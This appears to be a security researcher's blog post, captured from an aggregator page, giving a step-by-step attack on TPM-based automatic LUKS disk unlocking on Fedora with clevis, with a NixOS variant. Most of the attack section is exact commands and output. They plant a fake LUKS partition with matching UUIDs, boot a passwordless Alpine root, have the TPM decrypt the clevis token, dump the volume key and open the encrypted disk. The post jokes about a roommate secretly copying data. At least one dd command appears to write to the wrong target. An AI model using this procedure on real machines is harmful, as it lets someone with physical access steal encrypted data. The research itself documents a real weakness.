ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 22 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 23 ap­pli­ca­tion-sup­port 0000000000000000000000000000000000000000000000000000000000000000

Now, let’s pre­tend we don’t know any­thing about the sys­tem and that we just ob­tained phys­i­cal ac­cess to the ma­chine, which was pow­ered-off.

We start by tak­ing the main disk out and putting it into our ma­chine. You may also be able to boot a Fedora or Debian live im­age, if the owner has not wiped the Microsoft keys from their BIOS in fa­vor of their own. Once booted, we start in­ves­ti­gat­ing the disk lay­out and par­ti­tions:[root@lo­cal­host]# blkid /dev/nvme0n1p1: LABEL_FATBOOT=“EFI” LABEL=“EFI” UUID=“E2AA-BB8B” BLOCK_SIZE=“512″ TYPE=“vfat” PARTLABEL=“EFI System Partition” PARTUUID=“b9cd5e99-00ec-45e8-be33-72809ae30602” /dev/nvme0n1p2: LABEL=“boot” UUID=“d0a1796a-5c1e-446f-8b70-2910d094d195” BLOCK_SIZE=“4096″ TYPE=“ext4” PARTUUID=“e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9″ /dev/nvme0n1p3: UUID=“779328d5-00ca-4ade-be44-6daa549642ed” TYPE=“crypto_LUKS” PARTUUID=“4e73c89f-3840-458a-ada6-0f5349ab36e1”

We take a quick peek at the en­crypted par­ti­tion, which is our main tar­get:[root@lo­cal­host]# crypt­setup luks­Dump /dev/nvme0n1p3 LUKS header in­for­ma­tion Version: 2 Epoch: 9 Metadata area: 16384 [bytes] Keyslots area: 16744448 [bytes] UUID: 779328d5-00ca-4ade-be44-6daa549642ed # […] Tokens: 0: cle­vis Keyslot: 1 # […]

We can al­ready see that the sys­tem owner has used

cle­vis to con­fig­ure the au­to­mated un­lock­ing. What we want to find for now is the ini­trd and ker­nel com­mand line, so some GRUB or sys­temd-boot con­fig­u­ra­tion file. Since Fedora uses pre-signed im­ages, the EFI par­ti­tion will only con­tain the loader and shim, which should­n’t con­tain any in­for­ma­tion about the ac­tual sys­tem. But the boot par­ti­tion /dev/nvme0n1p2 looks promis­ing, so let’s mount it and see what we find:[root@lo­cal­host]# mount /dev/nvme0n1p2 /mnt/boot [root@localhost]# ls -l /mnt/boot to­tal 222500 dr-xr-xr-x. 6 root root 4096 Jan 13 23:09 ./ dr-xr-xr-x. 19 root root 4096 Jan 13 23:06 ../ -rw-r–r–. 1 root root 277997 Oct 20 02:00 con­fig-6.11.4-301.fc41.x86_64 drwx–––. 3 root root 4096 Jan 1 1970 efi/ drwx–––. 3 root root 4096 Jan 13 23:10 grub2/ -rw–––-. 1 root root 139254374 Jan 13 23:09 initramfs-0-res­cue-868c201e807541­caacd6­fa6b32d5ba2e.img -rw–––-. 1 root root 45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img dr­wxr-xr-x. 3 root root 4096 Jan 13 23:06 loader/ drwx–––. 2 root root 16384 Jan 13 23:05 lost+found/ -rw-r–r–. 1 root root 182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz -rw-r–r–. 1 root root 9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64 -rwxr-xr-x. 1 root root 16296296 Jan 13 23:08 vm­linuz-0-res­cue-868c201e807541­caacd6­fa6b32d5ba2e* -rwxr-xr-x. 1 root root 16296296 Oct 20 02:00 vm­linuz-6.11.4-301.fc41.x86_64* -rw-r–r–. 1 root root 161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac

Great! There are the ker­nel and ini­trd im­ages plus a

loader/ di­rec­tory con­tain­ing some GRUB en­try con­fig­u­ra­tions. We will take a look at those con­fig­u­ra­tion files first:[root@lo­cal­host]# ls -l /mnt/boot/loader/entries -rw-r–r–. 1 root root 445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf -rw-r–r–. 1 root root 369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf [root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf ti­tle Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition) ver­sion 6.11.4-301.fc41.x86_64 linux /vmlinuz-6.11.4-301.fc41.x86_64 ini­trd /initramfs-6.11.4-301.fc41.x86_64.img op­tions root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet grub_users $grub_users grub_arg –unrestricted grub_­class fe­dora

Wow, this is looks like we al­ready found all the im­por­tant in­for­ma­tion! Judging from the com­man­d­line syn­tax, this is likely an ini­trd that was gen­er­ated by dra­cut. There seems to be a LUKS en­crypted par­ti­tion with UUID

779328d5-00ca-4ade-be44-6daa549642ed and a root file sys­tem with UUID 1a887df4-286d-4842-bd66-d8993e8596d2, which is cer­tainly in­side of the LUKS par­ti­tion. The type of filesys­tem is not spec­i­fied, so we are free to choose any­thing that is sup­ported by the initramfs for our fake.

In the­ory, we’d need to find out one ad­di­tional thing - the bi­nary that will be called by the ini­trd when it wan­t’s to switch to the real sys­tem. But the chances are very high that it is

/sbin/init (this is not the case on all sys­tems though, see the NixOS PoC be­low for an ex­am­ple). If our as­sump­tion does­n’t work out, we can still dou­ble check by ex­tract­ing the ini­trd later.

In or­der to con­fuse the ini­trd, we now need to:Backup the orig­i­nal LUKS pari­tion so we can later de­crypt

itRe­place the LUKS par­ti­tion with a fake LUKS par­ti­tion that has

the UUID 779328d5-00ca-4ade-be44-6daa549642edThis LUKS par­ti­tion must con­tain a filesys­tem with UUID

1a887df4-286d-4842-bd66-d8993e8596d2The in­ner filesys­tem con­tains a /sbin/init bi­nary

that does what we want

We may ac­tu­ally only backup the first few megabytes of the orig­i­nal LUKS par­ti­tion and make sure our fake par­ti­tion is ex­actly the same size as our backup. By over­writ­ing just the be­gin­ning in this way we don’t have to do a full disk backup, which would oth­er­wise take a very long time and would re­quire us to bring a spare disk with us.

[root@localhost]# dd if=/​dev/​nvme0n1p3 of=/​boot/​luks-orig­i­nal.bak bs=64M count=1

We’ll abuse the free space on the boot par­ti­tion to store this backup, which makes it easy to ac­cess later. If you don’t want to tam­per too much with the orig­i­nal disk, you can of course use a small thumb drive.

Next, we cre­ate a 64MB file in which we will pre­pare our par­ti­tion. The size is a bit ar­bi­trary, it just needs to cover the LUKS and in­ner filesys­tem header and must fit our ex­ploit bi­nary. So we ini­tial­ize a new LUKS par­ti­tion with the UUID from above, and then open it and for­mat its con­tents with

ext4:[root@lo­cal­host]# trun­cate -s 64MB /root/fakeluks [root@localhost]# crypt­setup luks­For­mat /root/fakeluks –key-file

Now we could the­o­ret­i­cally pre­pare a tiny bi­nary that di­rectly ex­tracts the key from the TPM, but it’s far sim­pler just put a min­i­mal Alpine im­age there and in­stall the nec­es­sary tools to do that man­u­ally. This will also eas­ily fit into 64MB. Let’s pro­ceed by prepar­ing the Alpine filesys­tem:[root@lo­cal­host]# cd /mnt/root [root@localhost]# wget https://​dl-cdn.alpinelinux.org/​alpine/​v3.21/​re­leases/​x86_64/​alpine-mini­rootfs-3.21.2-x86_64.tar.gz [root@localhost]# tar xvf alpine-mini­rootfs-3.21.2-x86_64.tar.gz [root@localhost]# rm alpine-mini­rootfs-3.21.2-x86_64.tar.gz [root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf # Just for DNS res­o­lu­tion at this mo­ment, so we can in­stall pack­ages in the ch­root [root@localhost]# ch­root /mnt/root /sbin/apk add \ # Install some tools that we need tpm2-tools tpm2-tss-tcti-de­vice jose crypt­setup [root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm \ https://​raw.githubuser­con­tent.com/​latch­set/​cle­vis/​0839ee294a2cb­b0c1ecf1749c9­ca530e­f9f59f8f/​src/​pins/​tpm2/​cle­vis-de­crypt-tpm2 [root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm # Helper to re­trieve pass­word from TPM2 [root@localhost]# sed -i s/root:x/root:/’ /mnt/root/etc/passwd # Remove root pass­word

Finally, we un­mount our fake filesys­tem and over­write the first

64MB of the orig­i­nal par­ti­tion with it, then put the disk back into the orig­i­nal ma­chine and re­boot:[root@lo­cal­host]# umount /mnt/root [root@localhost]# crypt­setup close /dev/mapper/fakeluks [root@localhost]# sync [root@localhost]# dd if=/​root/​fakeluks of=/​root/​luks-orig­i­nal.bak bs=64M count=1

We will now be asked for the LUKS pass­word we just set, since the au­to­matic de­cryp­tion will ob­vi­ously not trig­ger on our fake par­ti­tion, which has no to­ken meta­data. After en­ter­ing our pass­word from above, we are greeted by the Alpine im­age. We can lo­gin as

root with­out a pass­word:Wel­come to Alpine Linux 3.21 Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)

lo­cal­host lo­gin: root Welcome to Alpine!

lo­cal­host:~#

Now let’s check whether any of the PCRs was af­fected by our op­er­a­tion:lo­cal­host:~# tp­m2_pcr­read sha1: sha256: 0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5 1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D 2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969 3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969 4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB 5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F 6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969 7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17 8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651 9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99 10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257 11: 0x0000000000000000000000000000000000000000000000000000000000000000 12: 0x0000000000000000000000000000000000000000000000000000000000000000 13: 0x0000000000000000000000000000000000000000000000000000000000000000 14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC 15: 0x0000000000000000000000000000000000000000000000000000000000000000 16: 0x0000000000000000000000000000000000000000000000000000000000000000 17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 23: 0x0000000000000000000000000000000000000000000000000000000000000000 sha384: sm3_256:

The out­put for­mat is slightly dif­fer­ent to that of

sys­temd-an­a­lyze pcrs, but we can see that all val­ues are the same as in the real sys­tem. Some boards may have dif­fer­ent val­ues in PCR 1 af­ter every power cy­cle, but don’t worry, in that case you can be sure that the owner did­n’t use it ei­ther. So this means our at­tack was suc­cess­ful! We can now go ahead and re­trieve the vol­ume key of the orig­i­nal par­ti­tion.

By quickly skim­ming the cle­vis source we find that it stores a JWE to­ken in the LUKS header, which con­tains an en­crypted sec­ondary key to un­lock the par­ti­tion. It also con­tains some meta­data re­quired to have it de­crypted by the TPM, like which PCRs have to be used in the TPM con­text. Back when we in­spected the LUKS header, we found the cle­vis to­ken in slot 0, so let’s first ex­tract this to­ken:lo­cal­host:~# mount -o re­mount,rw / # This alpine im­age is not writable by de­fault lo­cal­host:~# mount /dev/nvme0n1p1 /mnt lo­cal­host:~# crypt­setup to­ken ex­port –token-id 0 /mnt/luks-original.bak | tee to­ken.json {

type”: clevis”, keyslots”: [ 1″ ], jwe”: { ciphertext”: hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS”, encrypted_key”: ”, iv”: 5zuFP0kEuqiCh0QL”, protected”: eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ”, tag”: 7DIhyL_ZNocrUHTPr1PQWg” } }

Clevis would then pro­ceed to ex­tract a JWE to­ken and hand it to

cle­vis-de­crypt-tpm2 which de­crypts it us­ing the TPM, so we repli­cate the pro­ce­dure:# Get the con­tents of the .jwe field lo­cal­host:~# jose fmt -j to­ken.json -Og jwe -o- | tee jwe.json {

ciphertext”: hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS”, encrypted_key”: ”, iv”: 5zuFP0kEuqiCh0QL”, protected”: eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ”, tag”: 7DIhyL_ZNocrUHTPr1PQWg” }

# Convert this for­mat into the ac­tual JWE to­ken for­mat lo­cal­host:~# jose jwe fmt -i jwe.json -c | tee to­ken.txt eyJh­bG­ciOiJkaXI­iL­CJlb­m­MiOi­JB­MjU2R0N­NI­i­wiY2xldm­lz­I­jp7InBp­bi­I6In­R­wbTI­iL­CJ0cG0y­I­jp7Imh­hc2­giOi­Jza­GEyN­TY­iL­CJqd2t­fcHJpdi­I6Ik­FOME­FJRXF­p­blRf­b3Y5cTZHV­Fo3­TU1TcW0­tUXgzT1R­NaEN6ZTV­TU­UxRT­D­hD­bG­Noak­FC­Q3Z5Tldy­d2lZal­RaVz­ZUNG1rSjd4UF9CeDl­Ca2N0UXF­FZ­zF6eUZ4aT­dM­c­TRB­WTcxWnp­GO­EVra­no3Qm­R­lVWZ3TV9P­T2pOdGVGcmZF­dUItQzRON­GRhWDZ0VHk3RT­Br­c3BuS3luN3VRQ0p6VD­Vr­cU4yYkpP­M0FGTEp­w­bG1JN­Wx­seX­hVdHN­QZmR­Samh­ST­FUy­WXN6V2F­vay1VQlZs­NG­tuOWN­HTUZC­NFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6b­WtRSmQzX1FRUGZB­M3VN­MDZR­cXY4OU14STVC­c3­dra3­Fi­WEhSVmhN­N­FV­COXNL­cjd0dzgzVkFFdX­pz­Z3c5OX­ciL­CJqd2t­fcHVi­IjoiQU­U0QUN­BQUxBQUF­Fa2d­BZ2d1X2R­MZTk2Z0dyRkZy­cWw2NXltWG5DQ1RMWWVMYXFkQ0N­f­SkR­Ra0R4M01BRUF­BZ1UwVFhKaXZhaTVuWVNONGNUT05lNkN­JR0d­jX2ZGb­D­d6­ZlNsNUZuOT­FvU0k­iL­CJrZXkiOi­J­lY2MiL­CJwY3J­fYm­Fuay­I6In­NoYTI1Ni­Is­In­Bj­cl9pZH­MiOi­I0L­DUs­Ny­w5In19fQ..5zuF­P0kEuqiCh0QL.hN­NirkMs­fcEWcVK­fT­F­CY3JKNCk0x-8P4svgzkeulNhH­nuaOd­FQ4Y­fOCU­UX9p­kWvon­fE2uivS.7DI­hyL_ZNocrUHT­Pr1PQWg

# Use the cle­vis-de­crypt-tpm2 script to de­crypt it with the TPM2 lo­cal­host:~# cat to­ken.txt | tr -d \n’ | cle­vis-de­crypt-tpm2 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA

Awesome! We got a pass­word out of it, which is the pass­word

cle­vis orig­i­nally added to the LUKS par­ti­tion and which can be used to un­lock it! Let’s also dump the vol­ume key for fu­ture safekeeping” 🤡:[root@localhost]# crypt­setup luks­Dump /mnt/luks-original.bak –dump-volume-key –volume-key-file vol­ume-key.txt \ –key-file

At this point we only have to re­store the par­ti­tion to its orig­i­nal state and de­crypt the real par­ti­tion. We can ei­ther re­boot into a live sys­tem (possible if the Microsoft keys are still in the se­cure boot data­base) or put the disk back into a sys­tem we con­trol. Finally, we can mount the en­crypted disk to have a look in­side:[root@lo­cal­host]# dd if=/​mnt/​luks-orig­i­nal.bak of=/​dev/​nvme0n1p3 bs=64M count=1 [root@localhost]# crypt­setup luk­sOpen /dev/nvme0n1p3 orig­i­nal \ –key-file

Success! Apart from re­search­ing all of the tools and their in­ter­nals this has been a rather sim­ple process. I would even claim that with some prepa­ra­tion we can re­peat this re­li­ably in un­der 10 min­utes. All it takes is two disk swaps and a few re­boots.

Finally I can rest easy know­ing that my room­mate can make a sur­prise backup of my server’s data while I’m away 🎉. A solid 3-2-1(+1) strat­egy.

This will be very sim­i­lar to the pre­vi­ous PoC, so I skipped a lot of the boil­er­plate this time. If you are not specif­i­cally in­ter­ested in NixOS or sys­temd-crypten­roll, you can jump to the next sec­tion by click­ing here.

Secure boot on NixOS is cur­rently im­ple­mented by the awe­some

lan­z­a­boote

pro­ject, which does some things dif­fer­ently than what we just saw on Fedora. Most no­tably we will en­roll our own se­cure boot keys (and can wipe the mi­crosoft keys), our ker­nel and ini­trd will both be fully signed as a UKI im­age and sys­temd-boot will not al­low you to edit the com­mand line. Another small dif­fer­ence to the Fedora setup is that we will use sys­temd-crypten­roll in­stead of cle­vis.

In any case, the over­all ex­ploita­tion will be very sim­i­lar, the NixOS ini­trd also does­n’t ver­ify LUKS iden­ti­ties (as of January 2025).

Fortunately, the setup is ex­tremely sim­ple with lan­z­a­boote. I rec­om­mend hav­ing a look at their Quick Start Guide in case you don’t know the pro­ject al­ready. I’ve added the full con­fig­u­ra­tion of the test ma­chine here, in case you want to repli­cate this. The fi­nal setup steps were:# Clear se­cure boot keys, start nixos live im­age, copy flake to live im­age, then: [root@nixos]# alias nix=‘nix –experimental-features nix-command flakes”’ [root@nixos]# nix build –print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko [root@nixos]# nix build –print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e

# Format and in­stall: [root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko # Format disk(s) [root@nixos]# nixos-in­stall –no-root-password –system \ # Install sys­tem /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e [root@nixos]# nixos-en­ter –mountpoint /mnt — sbctl cre­ate-keys # Create and en­roll se­cure boot keys, need to re­run in­stall af­ter­wards to make lan­z­a­boote happy

# Reboot and en­roll LUKS key: [root@nixos]# sys­temd-crypten­roll /dev/disk/by-partlabel/disk-main-luks –tpm2-device=auto –tpm2-pcrs=0+2+4+7 # … Enter pass­word … New TPM2 to­ken en­rolled as key slot 1.

...

Read the original on oddlama.org »

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

If you like 10HN please leave feedback and share

Visit pancik.com for more.